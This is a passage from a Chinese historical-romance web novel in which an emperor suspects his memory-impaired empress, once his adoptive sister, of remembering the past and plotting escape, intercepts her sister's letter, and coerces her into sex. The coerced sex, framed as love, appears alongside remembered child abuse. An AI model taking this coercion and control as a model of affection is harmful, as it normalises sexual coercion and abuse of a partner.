“将军雪中行,夜逐胡百里。马后悬双头,上马立陌刀。”
那一刻,张道恭的尴尬和无地自容,让他至今都不想再去回想。
长沙公主得知此事后又焉能不怒,自然更是在洛阳城里铺张扬厉地狠狠闹了一场,无外乎就是因为心怀怨恨而对张道恭穷尽挖苦讥讽。
长沙公主的外祖家为了替公主出气、讨公主欢心,又想法子在洛阳城最有名的酒楼里包了两台戏班子,将那首“将军雪中行”编成了乐曲,一日要让歌姬们分次在楼中唱上二十遍不止。
周奉疆这个名字,因此在前楚代宗至宁十七年便为天下所悉知。
就连父亲事后的反应,也让张道恭心下忐忑良久,让他很长一段时间内惶恐得夜不能寐。
皇帝父亲亲自召见了周奉疆,对他大言称赞,还说有他这样的人在北地立下战功,是北地万民的福气幸事。
皇帝这话里对自己儿子的不满和敲打,则是显而易见的。
最终,当张道恭发现就连那天那个给他出言献策的高人其实也是周奉疆派来的时候,他终于可以确信,他的确是被周奉疆暗算了。
一个武人的家奴,娼妓之子,卑贱如烂泥的人,不仅敢觊觎他的女人,甚至还敢来算计他河间王。
到这时候,张道恭再想除掉他,已经很难很难了。
*
周奉疆所有的怪癖,媜珠都一清二楚,而且百般体贴包容配合。
——不单是他在榻上的那些癖好。
两人到底真心实意地也曾做过那么多年的兄妹,对彼此了解得一清二楚,他喜欢什么不喜欢什么,媜珠都曾经用心地记住过。
哪怕如今她觉得她对他是满腔的恨意和不理解,可当她恢复记忆后,她还是会下意识地去迁就他的那些癖好。
尤其是他不愿意让外人知道的、自己也装作若无其事的癖好。
周奉疆其实不爱吃鱼,几乎可以说到了厌恶至极的程度了。
不论是什么鱼,他都不喜欢,连尝一口都觉得恶心。
但他却喜欢吃紫苏叶蘸蒸鱼的汤汁。
很奇怪,不是么?
很多年前,周奉疆曾向媜珠解释过个中的原因,而且他也只对媜珠一个人说过。
小时候和生母郑氏待在一起的那几年,郑氏最容易吃到的荤腥就是各种各样的鱼,或许是因为当时冀州军的驻扎之处临近河流,有许多士卒闲暇时会去河中捕鱼捉虾,捉到了鱼,偶尔有些兴致,便提着那鱼去寻风尘女子欢好,把那鱼随手挂在女人家的墙上当做嫖资。
这些女人自然是照单全收的,郑氏也不例外。
每当她做蒸鱼时,就会放上许多的紫苏叶用来调味,这也是时下蒸鱼常用的佐料,并不稀奇。
那些年里,只要闻到锅中冒出的香喷喷的蒸鱼的味道,就是周奉疆一天中最开心的事情。
可是郑氏舍不得给他吃鱼肉,她只给他吃紫苏叶蘸鱼汤就糙米饭,这已经是她对他最好的时候了。
有一次他实在太馋太馋了,在没有得到母亲允许的情况下忍不住夹了一小块鱼腹上的鲜肉,郑氏便忽然情绪崩溃,大怒嘶吼起来,又哭又闹地指着他责骂道,你母亲做这样苟且肮脏的营生养活你,你却贪心至此,连一块鱼肉都要和你母亲抢,我来日还如何指望得上你这种不孝子,我真是好苦的命,早知如此,还不如当日就把你直接摔死才好!
她将他按在破旧的泛着霉味的饭桌前,将一整条鱼一块块地塞进他的嘴里,逼他连鱼鳍带鱼刺地将一整条鱼塞进肚子里,然后癫狂地怒笑说,这下你满意了吧,这下你知足了吧,你愿意吃,我全给你吃!
吃完后不久,他就又把那条鱼吐了出来,吐了一地的污秽。
他的喉咙被鱼刺刮破,痛楚让他很多很多天都不能再说一句话。
从那之后,每当他再碰到鱼时,他就有一种无比反胃恶心的感觉,连吞咽一口都是困难。
可他仍然没有忘记用紫苏叶蘸鱼汤就饭吃的那种美味的回忆。
到了冀州侯周家后,他永远地隐藏了这件事,他也鲜少在旁人面前暴露自己饮食上的喜恶。
往后经年的岁月里,哪怕他现下都做了皇帝了,膳房里的人也不知皇帝厌鱼,那些厨子们还兢兢业业地每日换着法子做鱼奉到天子的膳桌上去。
周奉疆也像是在自我折磨一般,明明根本不喜欢,但是每道菜他都会动几筷子,在所有人面前全装得泰然自若,也不知他是到底图什么。
他虽然会去吃鱼,但他不会再去吃作为佐料的紫苏叶,更不会拿紫苏叶蘸鱼汤去下饭。
这是在太奇怪太不雅了,对于一个皇帝来说,他无法接受旁人会发现他有这样的癖好。
和媜珠关系还好的那些年里,每当桌上又有鱼时,媜珠理解他的别扭和古怪,于是她就会主动给他夹菜,把蒸鱼里的紫苏叶夹到他的碗里,还会微笑着对他说:
“紫苏虽乃佐料,却有解表散寒,行气宽中之良效,愿兄长多食。”
她会这样善解人意地照顾他,周全他的颜面。
不过,当连媜珠也失忆忘记这些后,周奉疆多年来再也没有主动尝过一口鱼汤里的紫苏叶了。
当他察觉到媜珠的异常时,也是因为时隔数年后,她夹到他碗里的一块紫苏叶。
这日,帝后二人一同在承圣殿内陪赵太后用膳,这本是平平无奇的一顿饭,不过膳桌上摆了一道清蒸鲈鱼,以紫苏叶等为佐味。
赵太后笑吟吟地夹了一块肥嫩的鱼肉到皇帝碗里,说皇帝近来很是辛苦,该多吃些。
不知为何,媜珠下意识地察觉到了周奉疆对这块鱼肉的排斥与厌恶。
她则起身夹了一筷子的紫苏叶搁到他碗里,也是盈盈莞尔:
“紫苏虽乃佐料,却有解表散寒,行气宽中之良效,妾愿陛下多食。”
做这件事、说这句话,连她自己都不知道她为什么要这么做,可她就是做了。
就像是已经刻入她的骨髓深处一般。
周奉疆霍然抬头望向她,眸光深邃如幽井般不可测。
上一次她对他说这句话,是在什么时候?
第44章
不过在这个时候,周奉疆强压下心底的惊诧和疑虑,什么也没多说。
他仍旧是那样温柔地对她微笑,谢过她的好意和关心,夫妻二人间看上去是那样的恩爱和睦。
赵太后也满意地连连点头,她以为媜珠这下病过一回后,终于是不作不闹了。
饭毕,媜珠留在承圣殿内陪太后多待了会儿,而皇帝则前往宣室殿处理政务。
事实上,对于周奉疆来说,这一整个下午他连那些奏章上的一个字都看不进去。
他一个人静静地坐在书房里,从午后日光正盛坐到日薄西山黄昏时分,极大的错愕和不敢置信将他整个人笼罩,让他没有精力再去思考任何其他事情。
媜珠……她为什么突然会对他说那句话?
这些天她周围并没有旁人对她说了什么不该说的话,她不可能是在别人的提醒暗示之下才做出这种举动的,何况他喜食紫苏叶之事本来也就只有她一个人知道,哪怕真的是别人想要提醒暗示她什么,也绝不可能在这种事情上动手脚。
这只可能是她自己想起来的。
她回想起了一些和他有关的事。
如果这么一怀疑的话,周奉疆很快又联想到了前日媜珠说过的一句话,这句话似乎更能佐证他这疑心是多么的正确。
——他不喜欢吃莲子,这件事也只有媜珠知道。这倒只是单纯他自己不喜欢吃而已,他觉得这东西的口感味道实在太奇怪,食之无味又有些黏腻恶心。
但莲子又有养心安神之良效,时人又以为此物于女子可美容养颜、长葆青春,所以高门宅院里的许多妇人是很喜欢的。
比如他的养母赵夫人就很喜欢此物。
在冀州时,赵夫人院里各种莲子汤莲子粥莲子糖水做的层出不穷,甚至他不明白的是,为什么连炖个鸡汤赵夫人都要让人撒一把莲子进去?
周奉疆那时是寄人篱下,当然不好意思主动挑剔说自己喜欢什么不喜欢什么,也不敢和赵夫人说,赵夫人给他什么他就吃什么,他只是和媜珠提过一嘴而已。
而且他还告诉媜珠,他虽不喜莲子,也没有到完全不能吃的程度,让她不用想办法去迁就他的口味。
何况赵夫人再喜欢这东西,她也没有当饭一样天天吃顿顿吃,在赵夫人身边也不缺旁的他喜欢的东西给他吃。
前日他在宣室殿处理政务到很晚才回去,媜珠担心他久熬乏累,命人送一盅四神汤给他,她还随口叮嘱了膳房的人一句说:
“这时节的莲子都是去年陈的了,不好吃,给陛下换红枣和桂圆加进去吧。”
周奉疆那时还以为这只是个巧合。
可她从前让人给他送四神汤的时候,可从来没说过去掉莲子的。
若再结合今日之事一想的话……
周奉疆的心忽然塌了一块下去。
那她又到底想起来多少呢?她是怎么忽然想起来的?她现在知道当年他对她做的那些事吗?
以及,她现在还爱他吗?
烦躁和焦虑将他折磨得头疼欲裂,他旋即又召来王医丞:
“朕近来总觉得皇后举止间有些异样,怀疑她是回想起了从前的一些琐事,你说有这个可能么?”
王医丞先是一愣,而后心中大惊大骇,最后终于语气委婉地告诉皇帝确实很有这个可能,并且他还不忘记隐晦地跟皇帝推卸自己和自己同僚们的责任:
“当日娘娘重伤失忆时,臣等便告诉过陛下,娘娘这失忆恐怕不会是一辈子的事情,只等身子渐渐养好了,时日一长,娘娘的心绪平复下来,断断续续她总会想起那么一两件事,再到最后,完全恢复记忆也并非不可能。”
皇帝的脸色瞬间沉了下去。
王医丞又试探性地问皇帝:
“若是陛下开始怀疑娘娘有异,那恐怕还不只是因为一件事就叫陛下起了疑心吧?”
皇帝声音低沉:“她忽然知道了朕饮食上的一些口味,这是只有从前的兖国公主才知道的。”
王医丞虽因皇后的异常而忧虑,但见了皇帝都这个样子,心里忽然忍不住觉得还有些好笑。
他立马点破了皇帝真正的担忧所在:
“陛下担心的并非娘娘想起往事,而是担心娘娘想起那些和陛下之间不愉快的往事,更担心娘娘明明已经想起来了,却在陛下面前装作一无所知,瞒着陛下。”
被说中了心事,周奉疆不语。
王医丞又道:“陛下,其实……臣等也早有如此疑虑了。娘娘自上次昏迷清醒之后,明明身子上并无什么大碍,可每每臣等为娘娘切脉,娘娘总是声称病痛不止,让臣等继续为娘娘熬煮汤药调理身子。陛下见娘娘称病,自然信任娘娘,还……”
还屡次过来斥责他们这些医者无能,说他们连皇后的身子都看不好,什么屎盆子都往他们头上扣,他们也冤得很呢!
不过这些抱怨的话,王医丞就没再皇帝面前多说了。
“娘娘借机如此称病,这夜里……夜里便以病痛未愈为借口,不再和陛下……陛下觉得,这是否也只是巧合呢?”
周奉疆的呼吸蓦然一顿。
对,还有这件事。
她不愿意侍寝,不愿意给他碰。
白日里在他面前表现得多么温顺体贴,柔情似水,到了夜里却不愿意和他有肌肤之亲。
单纯不愿意同房,他还可以给她找理由是因为她怕累怕痛,可以前那样胆小的她,现在竟然这么聪明地学会了装病来逃避侍寝,难道这也只是巧合吗?
这可是欺君之罪。
归根结底,恐怕她还是恨他的。
不管她现在装出来对他何等温柔关心,一个女人,身子不愿意给,那就是不爱。
许久之后,皇帝抬手挥退了王医丞。
“今日朕和你说的话……”
“臣明白,臣必不敢再对第二个人提半个字。”
可怜呐,王医丞心中长吁短叹,感慨不已。
得江山易,得女人心难。
不管什么样的男人,只要栽倒在一个不爱他的女人身上,这辈子就再没有过去战场上攻城略地、意气风发的战无不胜之态了。
周奉疆这天晚上回到椒房殿时和往日相比并无什么异样。
一样的眉目之间有一缕消不去的疲惫,一样的只要看见媜珠时便会露出温柔的笑意。
媜珠直到这时候还没意识到自己究竟露出了何等的破绽,也如平时般迎了上去,和周奉疆说了几句话,然后等着他洗漱回来和她就寝。
她这几日一直在惴惴不安地等着二姐姐的回信,等待中的每一日皆是无比的焦躁和不安,还有对她自己来日的深深忧虑。
每一桩每一件,都压得她在这深宫里根本喘不过气来。
她不喜欢这个囚禁她的牢笼。
每一日,当她行走在这巍峨的宫城长街上时,望着左右两侧那高耸屹立的坚固宫墙,她都会觉得喘息困难。
那些宫墙像是无垠无际的深海,将她压死在其中,如果她不再做点什么,恐怕连她死后的尸体也飘不出这片恐怖的深海。
是啊,如果她不逃,哪怕她马上就死在这里,死后的她既不是周三娘子也不是兖国公主,她还会是她兄长的女人,是他的皇后,死了都要葬在他的帝陵里和他合葬,不过是从一座牢笼被埋葬到另一座牢笼里。
周奉疆不会明白这种感觉的。
因为对他来说,这座宫城不是他的牢笼。这宫城是他的战利品,它越是巍峨雄伟,就越能彰显他身为天子的地位。媜珠也是他的战利品之一,或许他对她格外喜爱,所以就将她装在了这座宫城里,以确保他日日都能看见她。
媜珠正想着心事,皇帝已经更衣洗漱毕过来了。
她立马扬起敷衍的笑意,准备和他一起歇下。
和兄长同床共枕的滋味虽然令她有种无以名状的战栗和抗拒,但好在现在他们只是歇在一张榻上而已,她不需要和他做那些亲密的事情,她忍一忍也能忍下去。
她把这当成他们小时候在一起午睡时一般。
很小的时候,夏日炎热的中午,她总会跑去找伯骧哥哥玩,让伯骧哥哥哄她睡觉,还一定要他陪她一起睡。
如果醒来之后看不见他,她嘴一撇就是哇哇大哭,质问哥哥是不是不爱她了,为什么说话不算话,为什么趁她睡着之后就跑了。
然而,令媜珠没想到的是,因她的又作又闹而被迫禁欲多日的男人,今夜似乎再也不想忍了。
他一言不发地将她推倒,按在床榻上,伸手去扯开她寝衣的系带,滚烫的吻也随之胡乱地落在她的脸颊和锁骨、胸前。
媜珠几乎是立刻就察觉到了他身体的变化。
她浑身僵硬,因为这是在她彻底恢复记忆之后,第一次清清楚楚、明明白白地以他妹妹的身份直面他对她的情欲。
在大脑一片空白的几个呼吸时间后,媜珠很快反应过来,她强逼着自己不去看也不去触碰,小心地在他身下挪动自己的身子,避开那把滚烫利刃的压迫。
她酝酿了一下泪意,想要继续做起那哭哭啼啼的做派来拒绝他的求欢。
可还没等她委委屈屈地哭出来,周奉疆已经将她剥得差不多干净了,他也没准备理会她的虚与委蛇、假意周旋,轻佻浪荡地轻轻拍了拍她的脸颊:
“乖,别哭了,你有没有病、能不能侍寝、是不是真的油尽灯枯了,朕太医署里的医者们肯定比你自己清楚。”
媜珠呆住。
她以为他又生气发脾气了,可他好像又没有。
周奉疆温存地抚摸她:“媜媜,我想你了,我很难受,你这样爱我,一定是愿意帮帮我的,对不对?”
媜珠惊愕失色地看着他。
他现在也变了,从和她的周旋中吸取了经验,不论动作有多粗鲁,言语之间一定是款款温柔照顾,对她又哄又夸,似乎对她是何等的体贴迁就一般,总之不至于给她留下事后闹脾气的把柄。
他又问了她一遍:“媜媜,你到底爱不爱我这个丈夫?”
媜珠惟有在他的逼迫下吐出那个“爱”字。
周奉疆很高兴地亲了亲她的唇:“所以你一定是愿意的,对不对?”
他引着她的手去握住,“那你亲亲我,让我知道你有多爱我,好不好?”
媜珠第二日还是强撑着要起身见人。
周奉疆顺口问了一句她到底要准备见谁,已经这样子了还非得起身,在榻上歇歇不好么。
佩芝抿了抿唇:“还是那位冯夫人和她儿子呢。娘娘这段时日似乎颇喜欢她似的。”
周奉疆不以为意:“就因为她儿子瞎了眼,她心疼?”
佩芝提醒皇帝:“还有因为冯夫人的丈夫,韩驸马之弟韩孝民,正跟着韩驸马在岭南战场上呢,娘娘说冯夫人辛苦,一个人操持家中大小事务,就愿意多见见她,时常赏赐许多东西给她们母子。”
周奉疆一开始没往心里去,但直到这日有人跟他提起了周鼎的另一个女儿时,他心底的弦忽然猛地被人拨了一下,让他陡然意识到了什么。
第45章
一个新朝的帝王,该如何处置对待那些所谓的“前朝余孽”?
尤其是身份最敏感的、前朝的亡国之君本人,又该如何料理?
不同的时候、不同的朝代,在种种不同的复杂情况之下,那些亡国之君们也会得到不同的待遇。
有的人被新朝帝王在表面上继续以尚且尊敬的态度对待,那些新君们还会意思意思地表示两句说,你失了皇位,是因为你朝不顺天道、国祚已尽,朕改换你成为新的天子,那也是为了天下万民的福祉嘛,朕对你本人还是挺不错的,你也最好老实一点,不要给脸不要脸。
剩下的另一部分人则命运比较悲惨,基本上亡国之后就被视为罪人奴仆,被俘虏后,就被当成战利品一样用驴车牛车拖家带口地一块运走,而后大概会被幽禁、被虐待、被欺辱、被毒杀。
今天,终于有人也问了皇帝周奉疆一个这样的问题。
——在岭南抓到张道恭之后,该如何对待这位前楚的亡国之君?
是尚且态度敬重地把他“请”到长安软禁起来;还是直接当俘虏一样随便关起来、当成牲畜一样随便喂两口吃的,只要他死不了就行?
有几位资历较老的文臣都十分委婉地暗示皇帝说,陛下啊,您登基前的名声就已经够难听了,把自己养父一家快给杀了个干净,天下百姓不知会如何看待您的所作所为呢,现下您不是正好还有一个这样的补救机会,何苦不用他?
您应该继续用对待君主的礼节来对待前楚的皇帝,不是说要继续给张道恭穿龙袍冠冕吃山珍海味住金殿宫楼,但您好歹要对他态度客气一点,给您的臣民百姓看看您作为天子是何等的宽宏大度,这样方可稍稍修补修补您那已经快没有了的名声了。
周奉疆的心情本就差得很。
尽管昨夜他在媜珠身上得到了情欲的餍足,媜珠的唇瓣和眼泪,更是给他身体和病态心理双重别样的满足和畅快,但因为某种原因,这依然并不妨碍他心情不好,甚至是变得更差了。
听他们这么一唠叨,他愈发不耐烦,只回了他们一句:
“天都不认他为天子,朕难道要逆天道而为之吗?天道让他做了亡国奴,他便是奴命!”
臣下们不敢再多言,俱是俯首称是,但少不得还有些死心眼的人偏要追问一句:
“陛下,那张道恭身边的那些前楚宗亲呢?诸如他的后妃、宗室等亲眷,如何处置?”
周奉疆抬眼瞥了那人一眼,这时候他已经快到了暴怒的边缘了。
——他都说了把张道恭当成亡国奴一样押送回长安就行了,难道他还会把张道恭那群小老婆们当祖宗一样锦衣玉食地供着请回来吗?那不是随她们的男人一样该关就关,该进驴车进驴车、该进牛车的进牛车?这是什么很复杂的问题吗?这到底还有什么好问的?
那人看到皇帝瞥来的冷冽阴沉的一记眼刀,这下脑子终于反应过来,赶紧道:
“陛下!臣知、臣知、臣知道了。”
然而没过一会,这人又问出了第二个差点让周奉疆彻底暴躁的问题:
“陛下,张道恭的其余后妃处置起来不算难事,只是其中有位周淑妃身份实在特殊,这……是否需要再加斟酌?”
还好周奉疆在发脾气之前稍稍冷静地回忆了一下那什么“周淑妃”到底是哪个周家的淑妃,他的怒气忽然冷却,整个人的姿态也从原先散漫地靠在龙椅椅背上渐渐坐直了过来。
皇帝望向下首的臣僚们:“周淑妃?是昔年从冀州周家嫁出去的河间王侧妃?先帝的第二女?”
事实上周奉疆早就把这个女人忘得一干二净了。
臣下答是:“淑妃讳婈珠,乃先帝膝下长女,兖国文公主之姊。”
先帝的亲生女儿,也是皇帝名义上同宗同族的妹妹,哪怕是嫁了张道恭为妃,也不能当成一般的奴婢一样用驴车架着笼子一路运回长安吧?
方才说话的那人还特意提醒了一下皇帝,周淑妃不仅是先帝的长女,还是兖国文公主的二姐姐。
就算不看先帝的颜面,也要看兖国公主的颜面呢。
您已经杀了兖国公主那么多的兄弟们了,总不能再让人侮辱了她的姐姐,万一以后兖国公主知晓了此事……
被人这么一提醒,周奉疆倒是想起了周婈珠曾经在冀州时候的一些事了。
他沉默了片刻,像是陷入了一阵深思,看上去似乎的确在认真考虑这件事。
皇帝在思虑,臣下们当然不能不争着替他出谋划策。
很快,有人便向皇帝提议说,不妨传命给交州司马韩孝直,让韩孝直在见到周淑妃后,视周淑妃对陛下的态度而定。
若周淑妃心向母族,认大魏皇帝为天子,那么陛下可复淑妃公主之位,将淑妃体面地接回长安城,以公主尊荣养之,之后淑妃是否还愿再嫁之类的事,看淑妃自己的意思就是了。
如此,既可周全陛下颜面,也使天下人知陛下重手足情意,这也是对先帝周鼎的敬重。
若周淑妃执迷不悟,一心要和那张道恭站在一起,那就让韩孝直软禁淑妃,将她秘密送回长安,不让她在人前胡言乱语,也不能让她那狼狈疯癫的模样叫外人瞧见,更不能让她有机会说一些对陛下不利的悖逆言语,之后就把她和张道恭关在一起就行了。
这话一出,宣室殿书房内的其他文臣们都称极是,无人再有异议。
而周奉疆也的确想也不想地就颔首同意了。
一直以来,其实他对周家那些威胁不到他、和他没有利益冲突的人,尤其是女人,大抵都还不错,甚至能称得上待遇优渥。
比如周鼎的那些女儿们,就没有人和她们的兄弟们一般遭受过杀身之祸、灭顶之灾的。
当年夺权之后,周奉疆就让人告诉她们,只要她们老实些不出来惹事,他绝不会亏待了她们,往后她们自己想干什么就干什么、想不想嫁人、想嫁谁都无关紧要,他还照旧赠一笔丰厚的嫁妆给她们。
周婈珠后来找到他,说她想嫁给张道恭,他让她嫁了。
颍川公主周芩姬找他,她说她想嫁人,并且她生母无势又卑微,如今兄长当家做主,她还想嫁给兄长的心腹手下,稳固自己的地位。
周奉疆也准了,问她愿不愿意嫁韩孝直,周芩姬见了韩孝直一面,同意了,说愿意,他就把她嫁了韩家。
媜珠的另一个妹妹,周八娘子闹着死活不嫁人,说谁都不准把她嫁到那些臭男人家里去,并且也不来长安、不要公主封号,非要窝在冀州的一个道观里当女道士一心准备修炼成仙。
周奉疆就封了她一个仙师还是真人来着的名号,拨了一笔钱,叫人把她那道观重新修了一遍,弄得十分气派恢弘,让她在那里头使劲折腾去吧。她虽不当公主,但每年按照公主规制该给她的金银赏赐他也一分没缺过。
媜珠还有个小妹妹十二娘子更是奇人,她生母彼时年轻貌美,见冀州侯周鼎死了,她还想改嫁,于是就唆使女儿去找周奉疆求情,周奉疆也痛快答应放她生母走了。
结果这位十二娘子又说,她的生母改嫁,她只想和生母在一起,希望周奉疆也能放她一起走。
以后她生母不管嫁哪个男人为妻,再生了小弟弟和小妹妹,她都是大姐姐,要照顾自己找弟弟妹妹们。
周奉疆很大方,贴上一大笔钱,把她们母女二人一起送出了周家。
——哪怕是冀州侯周鼎本人还活着,也未必能对他的这些女儿们如此纵容了。
甚至,当年媜珠的一位叔父被他杀了后,她那已经四十余岁的叔母见大势已去,也跑到周奉疆面前问,说自己丈夫儿子们死了就死了吧,她什么都不想多说,要杀也别杀她,她可是无辜的,她只还想回娘家重新嫁人,成不成?
周奉疆颇为大度,让她要走今日就赶紧走,她当年带进周家的嫁妆他会让人一分不少地抬回她的娘家。
那女人回娘家后连给她亡夫守丧都不想守,不过月余又嫁了她自家一个刚三十岁出头的表弟为妻,甚至在四十五岁那年又重新生下了一个孩子,当时还是冀州城内的又一桩奇闻。
那孩子是男是女周奉疆没仔细打听,只知道这女人后来竟然过得还很不错,把和第二任丈夫的家经营得风生水起。
——所有人其实好像都愿意从往事中走出去,唯独媜珠不愿意。
也许也不只是媜珠。
周婈珠呢?
周奉疆想到了她。
因为他忽然想到,这女人当年离开冀州的时候,也是满腔的愤恨和不甘心,这个女人和当年周家许多人一样,对他痛恨得不得了。
她自认为自己的那些情绪掩饰得很好,其实周奉疆那时候只是懒得搭理她而已。
反正她又折腾不出什么大风浪来,她当时都快要嫁走了,对周奉疆这种骨子里并不信鬼神之说的人而言,哪怕周婈珠私下拿个人偶天天扎他诅咒他,他都懒得腾出功夫理会。
就像媜珠那位四十多岁再嫁的叔母,周奉疆杀了她的丈夫儿子们,她虽然面上没有半分的反抗和报复,难道心里真的毫无感觉吗?她也一样恨的,但是她不会报复也没有报复的能力,所以周奉疆就不会理她。
原本周奉疆不会把周婈珠放在眼里,但是在这一刻,当岭南,张道恭,周婈珠,韩孝直,韩孝民,冯氏,冯氏之子韩柏这些线索突然串联在他脑海里,最后让他想到了此刻在椒房殿内的媜珠时,周奉疆的头颅瞬间被震荡了一下。
不止,不止这些,还有穆王和穆王妃。这些人肯定也脱不了干系。
这些绝对不是巧合。
为什么在媜珠对他最冷淡的那段时间里,她那么爱见穆王妃?
为什么上次冯氏母子见过媜珠之后不久,媜珠便受刺激昏迷了?
周奉疆在此时确信,一定有人在他眼皮子底下在算计他和媜珠。
媜珠近来的种种反常,背后也都和这些人有着千丝万缕的关系。
这个发现让他顿时怫然大怒。
他继而闭目细思,不停地思考着这中间到底有哪个环节可能出了差错,在他对媜珠的看管已经如此严密的情况之下,她又到底是钻了什么样的空子,才能和外人这般里应外合地有了联系的。
是不是因为他还是太过仁慈宽容,所以才给了这些人在他眼皮子底下还敢继续算计他的机会?
媜珠是这样的,旁人更是这样,这些人到底还是没把他放在眼里。
当年周十五郎的死状已经摆在他们面前了,这些蠢人还是不知道害怕。
是不是还是要让他们再见一次血,他们才会知道害怕,才有真正的杀一儆百的效果?
不到一盏茶的时间里,周奉疆已将长安城乃至宫城内外所有可能出现纰漏的地方全都细想了一遍。
如果真的连远在岭南的周婈珠都有掺和其中,那她又是如何做到的?她靠的是什么?
书信,亦或是其他?
是通过什么人把她的书信送到了长安?
商贾,船舶,旅人,驿站,官员,是飞鸽还是马匹?
凡是和媜珠有关的事情,都会令周奉疆无比紧张,他这时候几乎都想把整个长安城翻过来一寸一寸地细查一遍了。
但是很快,他就意识到最有可能出现问题的地方在哪里。
——韩孝直兄弟二人每隔几日就会寄回京中的军报和送往颍川公主府的家信。
那封承载着婈珠对自己三妹妹无限期盼的信,在经由韩孝民之手偷偷放入驸马韩孝直存放家信的匣子内,而后又被信使终于转送到长安后,这位辛苦可怜的信使刚刚入长安城,整个人连人带马就被皇帝御前心腹殿前都检司的人押走了。整个过程都不曾被外人察觉分毫。
信使和他的马儿被直接秘密押送到皇帝的宣室殿内。
身份低微的信使从未料到自己人生中还有直面圣颜的一日,跪在地上时,他不小心抬眼窥见了君王的神情和容貌,然后当即就被皇帝那冰寒阴鸷的眸光吓得腿软不止,当场瘫软在地。
他虽不知自己究竟犯了何等大罪,却已经下意识认为自己死期将至了。
皇帝并未开口说话,他高坐龙椅上,看着那些训练有素的都检司亲卫们动作利落地将信使浑身上下所有地方都搜擦了一遍,又将那匹马从马尾到马头乃至马鞍马蹄里任何可能夹带物什的角落搜了一翻,把马毛都薅得掉了一地,几根马毛在宣室殿内飘来飘去,还有股怪异的滑稽感。
这些地方倒是没搜出什么异物来的。
皇帝最终将目光放在了信使带回的军报和韩驸马一家的家信上。
都检司亲卫躬身将那只装了韩驸马家信的匣子奉到天子面前。
皇帝示意他们打开匣子,他取出那几沓信件,一一拆开翻阅,将没有问题的信纸一张张放在一边。
终于,在翻到最下层韩驸马之弟寄给其妻冯氏的信封时,皇帝指尖的动作停顿住了。
皇帝细细将那张信纸翻来覆去地看了数遍,他不再说话,殿内的众人屏息凝神,连呼吸的幅度都放得极轻,也唯恐再发出半点动静来。
连那匹马打着响鼻的动作都停下了,低着头只假装自己是在继续吃草喝水,实际上连马嘴都不敢蠕动半下。
偌大的宣室殿因此陷入了一种诡异的凝滞、压迫和冰冷的氛围里,让人浑身汗毛直竖,几乎以为自己是误闯了阴司地狱里,否则为何人间也能恐怖至此?
终于,皇帝冷笑了一声。
他召来自己身边的宦官侍从倪常善:
“把这些信纸原封不动地装回去,送回颍川公主府。”
亲卫上前询问皇帝这信使如何处置,皇帝摆手:“他既无罪,且先不杀,你们看着他别让他出岔子就是。”
倪常善装信纸时不可避免地看到了那封触怒皇帝的书信,哪怕是他也被吓得当即膝盖一软,一下就跪倒在了地上。
皇帝回头瞥他一眼,倪常善冒出一身冷汗:“陛下,这……”
皇帝双眸赤红:“你看到了,这就是朕捧在手心宠了这么多年的好皇后,背着朕做出来的勾当!把这些信送回颍川公主府,朕还要看看,几日之后,朕的好皇后是如何给她姐姐回信的!”
他有种绝望的不甘心,心头无异于是被她狠狠刺了数刀,把他心底露给她的最柔软之处也扎得鲜血淋漓、血肉模糊。
“朕何处待她不好?她要眼巴巴地去和旁人这般诉苦,说待在朕身边数年来无一日欢愉展颜?!”
第46章
二十多年前那个冬日的清晨,当他醒来后发现自己被自己的生母抛弃的那一刻,他都未曾有过如此的愤怒和怨恨。
哪怕是被生母弃如敝履之时,彼时还是个无依无靠的幼童的他,也可以在饥饿与严寒中泰然处之,在短暂的伤心绝望后,他还能面色平静地思索着自己来日该如何存活下去。
街坊四邻间有不少人投来看热闹的目光,他们都想看他哭,看他崩溃地嘶吼,看看他一个失去母亲的孩子会做出何等撕心裂肺哭嚎的反应,以便日后他们可以将这件事当做个绘声绘色的故事讲给旁人听,充作他们这些局外旁观者茶余饭后的闲谈的话题,
——一个从事下贱营生的娼女,竟然还能遇见一个真心要娶她为妻的男人,两人居然在冬日里从冀州私奔了,那娼女还抛弃了自己可怜的六岁儿子,那个孩子又如何哭、如何闹、如何衣不蔽体地在雪地里爬行寻找他的母亲,最终可怜地冻死、饿死在了那个无情的冬日。
这故事多么有趣啊!
一定还有许多人迫不及待地要追问,那个娼女年方几何?何等容貌?平素和多少男人往来过?她靠的是什么让一个男人可以不嫌弃她、照旧想要娶她为妻?那男人又姓甚名谁、何方人士、性情如何?那个孩子是什么样子?是如何死的?死时又是什么模样?
但周奉疆并没有让他们如愿。后来他既没有死,也没有哭。
他一滴泪也没有流。
有人搭腔过来说起他的母亲,说他的母亲多么心狠多么歹毒,怎么能把这么小的孩子一个人丢在这里呢?
他也没有理睬这些人,没有和他们说一句话。
往后二十多年里,他都以为他这一生在心理上最无法接受的事情还是母亲的抛弃。
但今天他终于意识到他错了。
他可以接受生母抛弃他,可以接受养母利用他,然而他却无法接受媜珠对他有一丝一毫的背叛。
她在背叛他,她对他不忠不贞,她在背弃他们从前的情意。
在看到周婈珠给她寄来的回信时,他喉间一直压着一抹血腥气,只恨不得当场被媜珠气得呕出血来。
他意识到他过去自以为是为她付出的爱有多么可笑,原来他为她做的一切在她眼里都是一文不值的。
她将他的爱当成笑话,当成累赘和负担,当成对她的玷污和侵犯,他做什么都是错的,张道恭什么也不做,她还是会继续爱这个旧情郎。
他在他的那些臣下、奴仆、心腹们的眼里,也快要成一个笑话了。
情绪最激烈的时候,他几乎想立刻就去椒房殿里和她撕破脸,然后将她彻底软禁起来,让她为她所做的一切付出代价。
她和她姐姐说,她在他身边的日子里没有欢愉快乐,日日郁郁寡欢,无时无刻不想着离开他。
原来竟是他对她还不够狠,还没有让她体验过什么才是真正的恐怖和绝望。
如果他真的恨她,如果他真的不爱她,他会怎么对她?
周奉疆阖了阖眼,媜媜,你还有选择的余地,别逼我到时候真的这么对你。
你现在还有挽回的时机,直到现在,我还可以在心里自欺欺人地告诉自己说,这不是你的主意,这不是你的错,都是你姐姐和张道恭他们在利用你、蛊惑你,你只是太单纯了,所以才被他们给蒙骗了。
我只要看到你写一封回绝你姐姐的信,只要你回绝她,我可以当做什么都没发生过,这一切都不存在。
爱你如初。
但他显然对自己还是不自信的。甚至在冯氏再度入宫给媜珠送信之前,周奉疆还让佩芝去暗示过她。
是媜珠养在暖阁里的那些笼中鸟。
有一日媜珠去暖阁里看了看这些鸟,佩芝便在一旁搭腔说:
“马上就是春盛时节了,外头许多人家时兴在这时节到山上郊外去放生些鸟雀鱼兽的,说是做场善事,积积德,兴许这些放生了的鸟兽们在一春里又能诞下许多幼兽,更是多子多福的好兆头。”
媜珠微笑:“那的确是行了善事了。”
